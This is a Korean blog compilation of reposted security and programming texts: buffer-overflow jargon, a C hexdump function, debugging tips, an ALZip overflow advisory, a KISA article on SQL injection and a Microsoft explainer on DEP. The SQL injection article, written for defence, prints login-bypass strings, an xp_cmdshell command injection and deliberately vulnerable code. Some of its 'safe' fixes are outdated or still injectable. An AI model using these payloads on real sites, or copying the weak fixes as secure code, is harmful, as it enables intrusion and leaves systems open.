버 퍼에 가질 수 있는 것보다 많은 데이터를 넣었을 경우에 발생하는 것. 이 문제는 루트 권한으로 실행되는 프로그램에서 원하는 명령을 실행하기 위해 크래커들이 주로 사용한다. 이것은 생산하는 프로세스와 소비하는 프로세스 사이의 처리율이 달라서 생기거나 버퍼가 모든 데이터를 수용하기에는 너무 작아서일 수도 있다. 예를 들어 한 번에 한 줄씩 처리하는 텍스트 처리 프로그램에서 짧은 버퍼는 긴 줄의 입력을 다 처리하지 못하고 그 나머지를 버리게 된다. 이에 대한 좋은 방어책은 각 문자에 대해 오버플로우를 체크하는 것이다. 그리고 버퍼가 가득 찼을 경우에 데이터를 더 이상 받아들이지 않는 것이다. 이 용어는 비유적인 의미로도 사용된다. “언제 만나기로 했지? 내 버퍼가 오버플로우됐나 보군.” 또는 “만약 내가 저 전화를 받으면 나의 버퍼가 오버플로우될 거야.”(출처 : http://www.catb.org/jargon/html/entry/buffer-overflow.html)

스택 기반 버퍼 오버플로우
스 택 기반 버퍼 오버플로우는 한마디로 버퍼가 넘쳐 난다는 것이다. 버퍼가 넘쳐 나면 프로그램이 엉망이 된다. 엉망이라는 것은 일반적으로 세그먼테이션 폴트(segmentation fault)와 비슷한 에러 메시지를 남기고 프로그램이 다운되는 현상을 불러일으킨다. 하지만 이 엉망인 상황을 제대로 제어할 수만 있다면 엄청난 일이 벌어지게 된다. 스택 기반 버퍼 오버플로우는 앨렙 원(Aleph One)이 쓴 프랙(Phrack) 매거진 49호 열네 번째 파일 ‘Smashing The Stack For Fun And Profit’에서 대중화했다. 자곤을 보면 ‘smash the stack’에 대해 다음과 같이 기술하고 있다.

많 은 C로 짜여진 코드에서 어떠한 루틴(routine)에서 auto type으로 정의된 배열의 끝을 지나서 데이터를 써 넣음으로써 실행할 번지가 저장된 스택을 변경할 수 있다. 이러한 역할을 하는 코드를 smash the stack이라고 한다. 이러한 코드는 이 루틴에서 리턴하면서 이 루틴을 호출한 루틴이 아닌 특정한 주소로 점프(jmp)할 수 있게 한다. 이러한 현상은 데이터와 관련된 최악의 버그를 양산했다. 변종으로는 trash the stack, scribble the stack, mangle the stack이 있다. mung the stack이라는 용어는 사용하지 않는데 이는 의도적으로 한 것이 아니기 때문이다(출처 : http://www. catb.org/jargon/html/entry/smash-the-stack.html).


춮처: http://www.imaso.co.kr/?doc=bbs/gnuboard.php&bo_table=article&wr_id=43&page=8
신고
어떤 파일을 hex dump 하고 싶을 때가 있습니다.

octal dump program인데 초기에는 8진수로만 제공되던 것이 hex 값도 출력할 수 있는 option을 지니게 되었지요.

가장 흔히 사용하는 방법은

od -tx1

입니다. type을 hex 로 하되 1 byte 씩 끊어서 출력하라는 것입니다.

1 을 여러가지로 바꾸어 시도해보세요.

이제 실시간 중에 memory 일부를 hex dump하고 싶을 때가 있는데,

사용하던 hex dump function을 소개하려고, 며칠간 틈틈이 수정하였습니다.

아래 소스를 보면 GL, GR 이런 말들이 나오는데, 이것은 charset을 정의할때

사용되는 말입니다. ksc5601 GR GL 등으로 검색해보세요.

보통 hexdump 옆에 print 된 내용을 덧붙이는데, 정말 전통적인 format입니다.

문제는 CL, CR 영역 (control code)에 있는 것을 잘 처리 해야하는 것과, 한글에 대한 것입니다. 나중에 더 소개할 일이 있겠지요...








코드:
#include
#includestatic int is_GR(unsigned char x) { return (x > 0xa0) && ( x < 0xff ); }
static int is_GL(unsigned char x) { return (x > 0x20) && ( x < 0x7f ); }
#define is_GRAPH(x) (is_GR(x) || is_GL(x))
#define HEXDUMP_BUFSIZE 512static void _hexdump( int page, const char * msg, const char * _src, int len )
{
static char print_chars[HEXDUMP_BUFSIZE+1];
static char text[5*HEXDUMP_BUFSIZE+1];
int textlength = 0;static char line[8+3*16+16+1]; /*pid, hex, charaters, null */
char * source = ( char * ) _src;
char * p = print_chars;
char * q;
char * print_chunk_end;
char * source_chunk_end;
int expectGR = 0;

memset( text, '-', 73 );
if( page == 0 )
{
textlength = sprintf( text, "(%-5d) [%p] %s ", getpid(), _src, msg );
}

while( textlength < 72 ) { text[textlength++] = '-'; }
text[textlength++] = 'n';
text[textlength] = ';

/*
// Character print rule (Google에서 KSC5601 GR GL 로 찾음)
// 1. 독립된 GL
// 2. 연이은 두개의 GR
// 그외의 것들은 모두 '.' 으로 표현함.
*/
memcpy( print_chars, source, len );
while( p < print_chars+len )
{
if( is_GR(*p) ) { expectGR = !expectGR; }
else
{
if( expectGR ) { *(p-1) = '.'; }
if( !is_GL(*p) ) { *p = '.'; }
expectGR = 0;
}
p++;
}
p = source_chunk_end = source;
q = print_chunk_end = print_chars;
while( p < source+len )
{
char * l = line + 8; /* after pid. */
memset( line, ' ', sizeof line );
line[sizeof line -1] = 0;
line[sprintf( line, "[%05x]", page*HEXDUMP_BUFSIZE + p-source)] = ' '; /* erase null character. */

/* Print hex data */
source_chunk_end += 16;
while( p < source+len && p < source_chunk_end )
{
l += sprintf( l, "%02X ", (unsigned char) *p );
p++;
}

/* Print printable charaters */
l = line + 8 + 3*16; /* after hex. */
print_chunk_end += 16;
while( q < print_chars+len && q < print_chunk_end )
{
*l++ = *q++;
}

line[8 + 7*3+2] = '-'; /* at the middle of hex */
line[sizeof line - 1] = 0;
textlength += sprintf( text+textlength, "%sn", line );
}
fputs( text, stderr );
}

/* void * _src can accept any types of pointer */
void hexdump( const char * msg, const void * _src, int len )
{
char * source = (char *) _src; /* make the pointing size as 1 byte. */
int chunk_count=0;
for( chunk_count = 0; chunk_count < len / HEXDUMP_BUFSIZE + 1; chunk_count ++ )
{
int chunk_length = HEXDUMP_BUFSIZE;
if( chunk_count == len / HEXDUMP_BUFSIZE )
{
chunk_length =len - chunk_count*HEXDUMP_BUFSIZE;
}
_hexdump( chunk_count, msg, source + chunk_count*HEXDUMP_BUFSIZE , chunk_length );
}
printf("n");
}

int main()
{
hexdump( "main function dump", main, 1028 );
return 0;
}
신고
디버깅은 흔히들 프로젝트 전체중 80%를 차지한다고들 합니다. 그만큼 중요한
것이지요.


아마 그렇게 될 수 밖에 없는 이유는 프로그램을 시작하면서 그렸던 설계들이
바뀌면서 자신도 모르게 다음에 처리해야지 하는 것들이 한꺼번에 터지기 때문이리라
생각됩니다. 디버깅은 왕도가 없습니다. 경험해보지 않은 것들은 디버깅할 수
없다고 해도 과언이 아닐정도로 디버깅을 하기 위해서는 다양한 경험이 필요로
합니다.


디버깅을 잘 하기 위해서는 다음과 같은 태도를 버려야합니다.

* 소스에 대하여..
1. 함수의 return 값에 잘못된 확신을 갖는 것.
또는 return 값을 무시하는 코드가 있는 것.
2. warning의 의미를 모르는 채 넘어가는 것.
3. 고치긴 고쳤는데 그 원리를 알기보다 현상이 없어지는 것을 확인하는 것.
4. header file 보다 manual page를 먼저 보는 것.
또는 header file을 이해하려들지 않는 것.


* 환경에 대하여..
5. debugging tool을 한 가지 밖에 모르는 것.
6. 평소에 표준 문서를 잘 읽지 않는 것.
7. 만들기전에 누가 만들어 놓은 소스가 있는 지 확인하지 않는 것.
어떤 목적을 가지고 남의 코드를 보는 것 만큼 머리에 잘들어오는 경우가 없습니다.
8. portability에 신경을 쓰지 않는 것.
비슷한 platform이면 여러군데서 compile 해 볼 때, 의외의 결과를 만납니다.
9. 타 OS를 무시하는 것.
흔히 무시하는 근거가 프로그래머의 입장에서라기보다는 사용자/관리자 입장인 경우가 많죠.
당신은 프로그래머입니다.
10. Google보다 사람에게 먼저 묻는 것.
당신이 하는 고민은 어디선가 누군가 먼저 고민해본 것일 수 있으며,
심지어 5년도 더 된 문서일 수도 있습니다.
신고
□ 개 요
o 알집 프로그램이 악의적으로 조작된 압축파일을 열어보거나 압축풀기를 실행하였을때 영향받는 시스템에서
임의코드 실행이 가능하므로 해당 S/W 사용자는 해결책을 참조하여 신속히 패치 바람


□ 영향
o 영향받는 시스템에서 임의코드 실행


□ 설명
o ALZ, ARJ, ZIP, UUE, XXE 포맷의 압축파일로부터 파일이름을 읽을 때 경계값 오류로 스택 또는
힙 버퍼오버플로우가 발생
o 악의적인 ALZ, ARJ 포맷의 압축파일을 열어보거나, ZIP, UUE, XXE 포맷의 압축파일을압축풀기할 때
영향받는 시스템에서 임의의 코드가 실행 가능


□ 해당시스템
o 영향받는 소프트웨어
- ALZip 6.12 이전 버전


□ 해결책
o 알집 프로그램의 파일(F) -> 온라인 업데이트(U) 메뉴를 클릭하여 최신버전으로 업데이트
※ 기업용 및 행망용 라이센스 사용자의 경우 참조사이트 [1]의 “알집 v5.XX 기업용 및 행망용 라이센스
구매 고객을 위한 패치 버전 안내”를 참조


□ 참조사이트
[1]
http://www.estsoft.com/
[2]
http://www.securityfocus.com/bid/15010
[3]
http://secunia.com/advisories/16847/ 출처: http://cafe.naver.com/iteducationplanner.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=448


신고

웹 개발시 SQL Injection 취약점 주의!

[입력날짜: 2006-04-13]

사용자 입력값이 SQL injection 발생시키지 않도록 수정

다수 사이트, SQL Injection 취약점 공격에 무방비 상태


웹 취약점을 이용한 공격이 식을 줄 모르고 있다. 공격의 목적은 게임정보 탈취와 궁극적으로는 이를 이용한 게임아이템 거래로 돈을 벌기 위한 것이다.


정보통신부와 KISA는 이에 대한 대책으로 중국에서 들어오는 IP들을 차단하고 있고 자금 여력이 없는 중소기업의 웹사이트 관리자에게 공개 웹방화벽 구축을 권유하고 있으며 개인 PC의 보안패치율을 높이기 위해 각종 캠패인을 벌이고 있다.


KISA 에서 운영하는 ‘보호나라’에서는 대국민 서비스로 원격 PC점검을 해주고 있고 대기업을 중심으로 보안솔루션 도입과 시스템 구축이 한창이다. 하지만 이러한 노력에도 불구하고 해킹 관제 서비스를 실시하고 있는 업체에서는 하루에도 2백~3백건의 해킹이 이루어지고 있고 이를 통한 악성코드 유포가 지속적으로 이루어지고 있다고 지적하고 있다.


KISA 관계자는 “지난해 정부기관 사이트와 주요 웹사이트를 대상으로 대대적인 웹사이트 모의 해킹을 실시한 결과 대부분의 사이트들이 SQL Injection 취약점 공격에 맥없이 뚫렸다”며 “SQL Injection 취약점 공격에 대한 대비책을 개발자들이 기본적으로 알고 있어야한다”고 강조했다.


< 보안뉴스>는 얼마전부터 웹개발자들이 기술,정신적으로 보안강화에?더욱 노력해야 한다는?기사와 관련정보를 제공해 오고 있다. 이번에는?SQL Injection 취약점에 대해 알아보자.?자료 제공은 KISA 해킹대응팀이다.


<기획3> 악의적인 명령어 주입 공격(SQL Injection)


현 재 대부분의 웹 사이트들은 사용자로부터 입력받은 값을 이용해 데이터 베이스 접근을 위한 SQL Query를 만들고 있다. 사용자 로그인 과정을 예로 들면, 사용자가 유효한 계정과 패스워드를 입력했는지 확인하기 위해 사용자 계정과 패스워드에 관한 SQL Query문을 만든다. 이때 SQL injection 기법을 통해서 정상적인 SQL query를 변조할 수 있도록 조작된 사용자 이름과 패스워드를 보내 정상적인 동작을 방해할 수 있다. 이러한 비정상적인 SQL Query를 이용해 다음과 같은 공격이 가능하다.


-사용자 인증을 비정상적으로 통과할 수 있다.


-데이터베이스에 저장된 데이터를 임의로 열람할 수 있다.


-데이터베이스의 시스템 명령을 이용하여 시스템 조작이 가능하다.


이러한 취약점을 ‘SQL Injection 취약점’이라고 하며, 사용자가 데이터 입력이 가능한 수많은 웹 페이지 상에 이러한 취약점이 존재할 수 있다.


■위협 사례


(1) 사용자 인증 공격


아래의 그림과 같이 인증을 처리하는 모듈이 입력 값에 대해 적절히 검사하지 않았을 때 공격자는 비정상적인 SQL Query를 삽입 할 수 있고 이를 이용해 사용중인 데이터베이스에 영향을 줄 수 있다.



다음은 SQL 구문을 이용하여 인증을 처리하는 일반적인 웹 페이지 구조를 나타낸다.


$row = mysql_query (" SELECT 신청인명, 접수번호 from USER_TABLE where 신청인명='첫번째입력값' and 접수번호='두번째입력값' ");


if ( $row == 1 )

// 인증 성공 루틴

else

// 인증 실패 루틴


이 스크립트에 공격자가 test라는 신청인명을 입력하고 인터넷접수번호 대신 A' or 'A'='A 이란 값을 입력하면 아래와 같은 SQL Query가 완성된다.


SELECT 신청인명,접수번호 FROM user_table WHERE 신청인명=‘test?? AND 접수번호=??A' OR 'A'='A'


이 경우 구문의 WHERE 절은 ??참 AND 거짓 OR 참??의 WHERE 절이 생성되며 무조건 참이 되어 SQL 구문은 올바른 입력 값으로 처리하게 되며 공격자는 웹 인증 페이지를 쉽게 통과할 수 있게 된다.


(2) MS-SQL상에서의 시스템 명령어 실행


MS-SQL 데이터베이스를 사용하는 경우를 예를 들어 보자. 만약 데이터베이스 접근 권한이 시스템 권한을 사용하고 있다면 MS-SQL에서 기본적으로 제공하고 있는 xp_cmdshell이라는 Stored Procedure를 이용하여? 시스템 명령어를 실행할 수 있다.


예로 위의 인증 페이지에서 신청인명에 test, 접수번호에 ??; exec master..xp_cmdshell ??ping 10.10.1.2'-- 값을 입력했다고 가정하면 SQL Query는 다음과 같이 완성될 것이다.


SELECT 신청인명, 접수번호 from USER_TABLE where 신청인명='test' and 접수번호='; exec master..xp_cmdshell 'ping 10.10.1.2'--


이 SQL Query는 SELECT Query와 xp_cmdshell Query를? SQL Query가 순차적으로 실행되게 되며, 마지막의 -- 문자는 이후의 모든 문자열을 주석 처리하여 문장을 완성시켜 준다.


(3) 취약성 판단


-검색어 필드 및 로그인ID, PASSWD 필드에 큰따옴표("), 작은따옴표('), 세미콜론(;) 등을 입력한 후, DB error가 일어나는지 확인하자.


-로그인 모듈 점검


MS SQL인 경우: ID 필드에 ['or 1=1 ;--], 비밀번호 필드에는 아무 값이나 입력한 후 로그인을 시도한다.


Oracle인 경우: ID 필드에 ['or 1=1 --], 비밀번호 필드에는 아무 값이나 입력한 후 로그인을 시도한다.


-기타


ID 필드에 ['or '='], 비밀번호 필드에 ['or '=']을 입력한 후 로그인을 시도한다.


※ 위 예제 이외에도 다양한 방법이 가능하기 때문에, 로그인 및 사용자 입력 값을 사용하는 소스에서 DB Query 생성 방식을 직접 점검해야 한다.


■ 보호 대책


(1) 일반 대책


-데이터베이스와 연동을 하는 스크립트의 모든 파라미터들을 점검하여 사용자의 입력 값이 SQL injection을 발생시키지 않도록 수정한다.


-사용자 입력이 SQL injection을 발생시키지 않도록 사용자 입력 시 특수문자(' " / ; : Space -- +등)가 포함되어 있는지 검사하여 허용되지 않은 문자열이나 문자가 포함된 경우에는 에러로 처리한다.


-SQL 서버의 에러 메시지를 사용자에게 보여주지 않도록 설정한다. 공격자는 리턴 되는 에러 메시지에 대한 분석을 통하여 공격에 성공할 수 있는 SQL Injection 스트링을 알아낼 수 있다. 따라서 SQL 서버의 에러 메시지를 외부에 제공하지 않도록 한다.


- 웹 애플리케이션이 사용하는 데이터베이스 사용자의 권한을 제한한다. 가능하면 일반 사용자 권한으로는 모든 system stored procedures에 접근하지 못하도록 하여 웹 애플리케이션의 SQL Injection 취약점을 이용하여 데이터베이스 전체에 대한 제어권을 얻거나 데이터베이스를 운용중인 서버에 대한 접근이 불가능하도록 한다.


-php.ini 설정 변경


: php.ini 설정 중 magic_quotes_gpc 값을 On으로 설정한다.

; Magic quotes

;


; Magic quotes for incoming GET/POST/Cookie data.

magic_quotes_gpc = On? ; Off에서 On으로 변경한다.


; Magic quotes for runtime-generated data, e.g. data from SQL, from exec(), etc.

magic_quotes_runtime = Off


; Use Sybase-style magic quotes (escape ' with ' instead of ').

magic_quotes_sybase = Off


■ 개발 언어별 대책


-사용자로부터 입력받은 변수로 SQL 쿼리 구문을 생성하는 CGI는 입력받은 변수를 체크하거나 변경하는 로직을 포함하고 있어야 한다.


-입력받은 변수와 데이터 베이스 필드의 데이터형을 일치 시켜야 하고, 사용 중인 SQL 구문을 변경시킬 수 있는 특수문자가 포함되어 있는지 체크해야 한다.


-검색 부분과 같이 클라이언트로부터 생성된 SQL 구문을 받는 부분이 있다면 이를 제거해야 한다.


□ ASP


-취약한 SQL Injection 예제


prodId = Request.QueryString("productId")


Set conn = server.createObject("ADODB.Connection")

Set rs = server.createObject("ADODB.Recordset")


query = "select prodName from products where id = " & prodId


conn.Open "Provider=SQLOLEDB; Data Source=(local);

Initial Catalog=productDB; User Id=dbid; Password="

rs.activeConnection = conn

rs.open query


If not rs.eof Then

response.write "제품명" & rs.fields("prodName").value

Else

response.write "제품이 없습니다"

End If


-안전한 SQL Injection 예제


prodId = Request.QueryString("productId")

prodId = replace(prodId, "'", "'")' 특수문자 제거

prodId = replace(prodId, ";", "")

set conn = server.createObject("ADODB.Connection")

set rs = server.createObject("ADODB.Recordset")

query = "select prodName from products where id = " & prodId

conn.Open "Provider=SQLOLEDB; Data Source=(local);

Initial Catalog=productDB; User Id=dbid; Password="

rs.activeConnection = conn

rs.open query

If not rs.eof Then

response.write "제품명" & rs.fields("prodName").value

Else

response.write "제품이 없습니다"

End If


□ PHP

-addslashes() 함수 사용

: 사용자가 입력하는 값들($_GET, $_POST)을 모두 addslashes() 함수를 이용하여 처리하여 준다.


addslashes()


용도 : DB Query와 같이 인용된 부분앞에 역슬래쉬를 붙여서 반환한다. 해당 문자에는 작은 따옴표, 큰 따옴표, 역슬래쉬, NULL이 있다. SQL Injection 공격을 위해서 사용한다.


- 적용 가능한 PHP : PHP 3 이상


-취약한 SQL Injection 예제


$query = "SELECT id, password, username FROM user_table WHERE id='$id'";// 사용자로부터 입력받은 id 값을 사용자 table에서 조회

$result = OCIParse($conn, $query);

if (!OCIExecute($result))

echo "<META http-equiv="refresh" content="0;URL=http://victim.com">";// 메인 페이지로 redirect


OCIFetchInto($result, &$rows);


... 중략 ...


-안전한 SQL Injection 예제


$query = sprintf("SELECT id,password,username FROM user_table WHERE id='%s';",addslashes($id));

// id변수를 문자형으로 받고, id변수의 특수문자를 일반문자로 변환한다.


// @ 로 php 에러 메시지를 막는다.

$result = @OCIParse($conn, $query);


if (!@OCIExecute($result))

error("SQL 구문 에러");

exit;


@OCIFetchInto($result,&$rows);


... 중략 ...


□ JSP


-취약한 SQL Injection 예제


String sql="SELECT*FROM user_table"+"WHERE id=" + response.getParameter("id")

+ " AND password = " + response.getParameter("password");


Class.forName("org.gjt.mm.mysql.Driver");

conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);


stmt = conn.createStatement();

rs = stmt.executeQuery(query);


while(rs.next())


-안전한 SQL Injection 예제


String sql = "SELECT*FROM user_table"+"WHERE id = ?"+"AND password = ?";

ResultSet rs = null;

PreparedStatement pstmt = null;

try

conn = DBManager.getConnection();

pstmt = conn.prepareStatement(sql);


pstmt.setString(1, request.getParameter("id"));

pstmt.setString(2, request.getParameter("password"));


rs = pstmt.executeQuery();



[길민권 기자(boannews@infothe.com)]


<저작권자: 보안뉴스(www.boannews.com). 무단전재-재배포금지.>


출처: http://www.boannews.com/media/view.htm?idx=1942&kind=2

신고


















아미루(wany7980)   http://cafe.naver.com/kav/1979 이 게시물의 주소를 복사합니다

 






출처 : http://www.microsoft.com/korea/

원문 : http://www.microsoft.com/technet/prodtechnol/winxppro/ko/maintain/sp2mempr.mspx

저자 : Starr Andersen(기술 집필가), Vincent Abella(기술 편집자)

------------------------------------------------------------------------------------------------------------------------------------------------

"Windows XP 서비스 팩 2에서 달라진 기능 3부 :?Windows XP 서비스 팩 2에 포함된 메모리 보호 기술"

데이터 실행 방지


데이터 실행 방지는 어떤 기능을 수행합니까?


데이터 실행 방지(DEP)는 하드웨어 및 소프트웨어 기술로 악의적인 코드 이용을 방지하기 위해 메모리를 추가로 검사합니다. Windows XP SP2에서는 하드웨어 및 소프트웨어에서 모두 DEP를 사용합니다.

하드웨어 적용 DEP



하드웨어 적용 DEP는 메모리 위치가 명시적으로 실행 코드를 포함하지 않은 경우 프로세스의 모든 메모리 위치를 비실행으로 표시합니다. 비실행 메모리 위치에서 코드 삽입 및 실행을 시도하는 일종의 공격이 있습니다. DEP는 이러한 공격을 차단하고 예외를 발생시켜 이를 방지합니다.

하드웨어 적용 DEP는 프로세서 하드웨어를 사용하여 해당 메모리에서 코드를 실행하지 않아야 함을 나타내는 특성을 메모리에 표시합니다. DEP는 일반적으로 PTE(Page Table Entry)의 1비트를 변경하여 메모리 페이지를 표시하면서 가상 메모리 페이지별로 작동됩니다.

DEP의 실제 하드웨어 구현 및 가상 메모리 페이지 표시 방법은 프로세서 아키텍처에 따라 다양합니다. 그러나 해당 특성 집합으로 표시된 페이지에서 코드가 실행되는 경우 하드웨어 적용 DEP를 지원하는 프로세서에서 예외가 발생할 수 있습니다.

Advanced Micro Devices™(AMD) 및 Intel? Corporation에서 DEP와 호환되는 Windows 호환 아키텍처를 정의하고 출시했습니다.

Windows XP 서비스 팩 2부터 32비트 버전의 Windows에서는 AMD에서 정의한 대로 NX(No-Excute) 페이지 보호 프로세서 기능을 사용하거나 Intel에서 정의한 대로 EDB(Execute Disable Bit) 기능을 사용합니다. 이러한 프로세서 기능을 사용하려면 프로세서를 PAE(실제 주소 확장) 모드에서 실행하고 있어야 합니다. 64비트 버전의 Windows XP에서는 64비트 확장의 NX 프로세서 기능 및 IPF 프로세서의 액세스 권한 PTE(Page Table Entry) 필드의 특정 값을 사용합니다.

32비트 및 64비트 프로세서의 모든 차후 버전에서 하드웨어 적용 데이터 실행 방지를 지원하는 것이 바람직합니다. Microsoft에서는 프로세서 공급업체와 지속적으로 협력하여 DEP 기술의 채택 및 개발을 장려할 것입니다.

소프트웨어 적용 DEP



데이터 실행 방지 보안 검사의 추가 집합이 Windows XP SP2에 추가되었습니다. 소프트웨어 적용 DEP로 알려진 이 검사는 Windows에서 예외 처리 메커니즘 사용을 줄이도록 설계되었습니다.

소프트웨어 적용 DEP는 Windows XP SP2를 실행할 수 있는 모든 프로세서에서 실행됩니다. 기본적으로 소프트웨어 적용 DEP는 프로세서의 하드웨어 적용 DEP 기능과 상관없이 제한된 시스템 바이너리만 보호합니다.

이 기능의 적용 대상은 누구입니까?


응용 프로그램 및 드라이버 개발자는 데이터 실행 방지 및 지원 플랫폼에서 실행되는 소프트웨어의 요구 사항에 대하여 알고 있어야 합니다. JIT(Just-In-Time) 코드를 생성하거나 기본 프로세스 스택 또는 힙에서 메모리를 실행하는 응용 프로그램을 사용하는 경우 DEP 요구 사항에 유의해야 합니다.

드라이버 개발자는 하드웨어 적용 DEP를 지원하는 플랫폼의 PAE 모드를 알아야 합니다. 드라이버 호환성을 향상시키기 위해 Windows XP 서비스 팩 2 시스템의 PAE 모드 동작이 변경되었습니다.

XP 서비스 팩 2에서 이 기능에 추가된 새로운 기능은 무엇입니까?


32비트 버전의 Windows 및 응용 프로그램에서 데이터 실행 방지


하드웨어 적용 DEP



Windows에서 데이터 실행 방지 기능의 전반적인 동작 방식은 32비트 버전 및 64비트 버전의 Windows와 거의 동일합니다. DEP를 비롯하여 메모리 보호 모델은 응용 프로그램 및 드라이버 개발자를 위해 일관성 있게 32비트 및 64비트 버전의 Windows에서 모두 동일하게 디자인되었습니다.

응용 프로그램 개발자는 사용자 모드의 DEP 동작에 대해 알고 있어야 합니다. 사용자 모드 DEP 예외는 Windows 시스템에서 STATUS_ACCESS_VIOLATION (0xc0000005)이 됩니다. EXCEPTION_RECORD 구조 안에 위치한 ExceptionInformation의 첫 번째 매개 변수에는 발생한 액세스 위반 유형이 들어갑니다. ExceptionInformation[0]?의 값 8은 액세스 위반이 예외 위반이었음을 나타냅니다.

대부분의 프로세스에서 STATUS_ACCESS_VIOLATION 예외는 처리되지 않은 예외이며 그 결과 프로세스가 종료됩니다.

또한 DEP는 커널 모드의 드라이버에 적용됩니다. 커널 모드의 메모리 영역에 대한 DEP를 선택적으로 사용할 수 있게 설정하거나 사용할 수 없게 설정할 수 없습니다. 32비트 버전의 Windows에서 DEP는 기본적으로 스택에 적용됩니다. 이 경우는 64비트 버전의 Windows 커널 모드 DEP와 다른데, 여기에서는 스택, 페이지된 풀 및 세션 풀에 데이터 실행 방지(DEP)가 적용됩니다.

DEP가 설정되어 있으면 장치 드라이버가 스택에서 코드를 실행할 수 없습니다. 커널 모드에서 DEP 액세스 위반이 발생하면 오류 검사 0xFC: ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY가 실행됩니다.

소프트웨어 적용 DEP



소프트웨어 적용 DEP는 Windows의 예외 처리 메커니즘에서 추가 검사를 수행합니다. 프로그램 이미지 파일이 SafeSEH(Safe Structured Exception Handling)를 사용하여 만들어진 경우 소프트웨어 적용 DEP는 예외가 디스패치되기 전에 예외 처리기가 이미지 파일 내에 있는 함수 테이블에 등록되어 있는지 확인합니다.

프로그램 이미지 파일이 SafeSEH를 사용하여 만들어지지 않은 경우 소프트웨어 적용 DEP는 예외가 디스패치되기 전에 예외 처리기가 실행 가능으로 표시된 메모리 영역 내에 위치하는지 확인합니다.

이 변경 사항이 중요한 이유는 무엇입니까? 이로 인해서 줄어드는 위협은 무엇입니까?



데이터 실행 방지의 가장 큰 장점은 기본 힙, 여러 스택 및 메모리 풀과 같은 데이터 페이지에서 코드가 실행되지 않도록 하는 것입니다. 일반적인 시스템 작업의 경우 코드는 보통 기본 힙 및 스택에서 실행되지 않습니다. 하드웨어 적용 DEP는 이러한 위치에서 실행 중이며 실행이 시작될 때 예외를 발생시키는 코드를 검색합니다. 예외가 처리되지 않으면 프로세스가 종료됩니다. 커널 모드에서 보호된 메모리의 코드를 실행하면 오류 검사가 실행됩니다.

오류 검사로 인해 프로세스가 종료되거나 시스템 장애가 발생하는 것은 바람직한 일은 아니지만 이렇게 하면 악의적인 코드가 실행되는 것을 방지할 수 있습니다. 시스템에서 악의적인 코드가 실행되지 못하게 하면 시스템이 손상되거나 악의적인 코드가 전파되는 것을 막을 수 있습니다. 악의적인 코드가 전파되어 나타나는 악영향은 오류 검사에 의해 프로세스가 종료되는 경우보다 더 심각한 경우가 많습니다.

DEP를 사용하여 특정 종류의 보안 침해를 줄일 수 있습니다. 특히 데이터 실행 방지를 사용하면 바이러스나 다른 공격으로 인해 추가 코드가 입력되고 이와 같이 입력된 코드가 실행되는 것을 방지할 수 있습니다. DEP가 있는 시스템에서는 이와 같이 입력된 코드가 실행되면 예외가 발생할 수 있습니다. 소프트웨어 적용 DEP를 사용하면 Windows 내에서 예외 처리 메커니즘 사용을 줄일 수 있습니다.

DEP의 두 번째 장점은 응용 프로그램 및 드라이버 개발자에게 기술적으로 유용하다는 점입니다. 데이터 실행 방지 기술을 사용하면 개발자는 명시적으로 데이터 페이지를 실행 가능으로 표시하지 않고는 데이터 페이지에서 코드를 실행할 수 없습니다.

작동 방식의 차이는 무엇입니까?


응용 프로그램 호환성


일부 응용 프로그램의 동작이 데이터 실행 방지와 호환되지 않습니다. Just-In-Time 코드 생성과 같은 동적 코드 생성을 수행하며 생성된 코드를 실행 권한을 사용해서 명시적으로 표시하지 않은 응용 프로그램은 데이터 실행 방지와 호환성 문제가 발생할 수 있습니다. SafeSEH를 사용하여 만들어지지 않은 응용 프로그램은 실행 메모리 영역에 해당 응용 프로그램의 예외 처리기가 있어야 합니다.

DEP 위반을 시도하는 응용 프로그램에는 상태 코드가 STATUS_ACCESS_VIOLATION (0xC0000005)인 예외가 발생합니다. 응용 프로그램에 실행 메모리가 필요한 경우 가상* 메모리 할당 함수의 메모리 보호 인수에 PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE 또는 PAGE_EXECUTE_WRITECOPY를 지정하여 명시적으로 이 특성을 해당 메모리에 설정해야 합니다. malloc()HeapAlloc() 함수를 사용하는 힙 할당은 실행할 수 없습니다.

드라이버 호환성


데이터 실행 방지의 드라이버 호환성 문제는 PAE 모드로 인한 호환성 문제가 대부분입니다.

참고 PAE는 하드웨어 적용 DEP를 지원하는 프로세서가 있는 시스템에서만 필요합니다.

코드 생성을 수행하거나 다른 기술을 사용하여 실시간으로 실행 코드를 생성하는 드라이버에서는 DEP가 호환성 문제를 일으킬 수도 있습니다. DEP가 64비트 버전의 Windows에 로드된 드라이버에 대해서는 항상 설정되어 있기 때문에 위와 같이 동작하는 많은 드라이버가 수정되었지만 모든 드라이버가 업데이트된 것은 아닙니다. 그러나 이러한 기술을 사용하는 드라이버는 거의 없으며 DEP 단독으로는 드라이버 호환성 문제를 많이 일으키지 않습니다.

드라이버 호환성 문제가 가장 관건이 되는 경우는 32비트 시스템에서 PAE(실제 주소 확장) 모드를 실행하는 경우입니다. PAE 모드를 사용하면 프로세서에서 4GB 이상의 메모리에 주소를 지정할 수 있습니다. PAE 메모리 페이징 및 비 PAE 메모리 페이징 구성표 간의 가장 큰 차이점은 PAE 모드(2 수준 대신 3 수준)에서 필요한 추가 페이징 수준입니다.

일부 드라이버는 PAE 모드에서 로드되지 못할 수 있는데 이는 해당 장치에서 64비트 주소 지정을 수행할 수 없거나 드라이버가 PAE 모드에서 4GB를 초과하는 RAM이 필요한 것으로 가정하기 때문입니다. 그러한 드라이버는 PAE 모드일 때 언제나 64비트 주소를 받을 것이고 드라이버나 해당 장치에서 주소를 해석할 수 없다고 예상합니다.

다른 드라이버는 PAE 모드에서 로드될 수 있지만 직접 시스템 PTE(Page Table Entries)를 수정하여 시스템을 불안정하게 만들 수 있습니다. 이러한 드라이버는 32비트 PTE를 예상하지만 PAE 모드에서는 32비트 대신 64비트 PTE를 받게 됩니다.

드라이버 PAE 호환성과 관련된 가장 큰 문제는 직접 메모리 액세스(DMA) 전송 및 맵 레지스터 할당입니다. DMA를 지원하는 많은 장치(주로 32비트 어댑터들)는 64비트의 실제 주소를 지정할 수 없습니다.

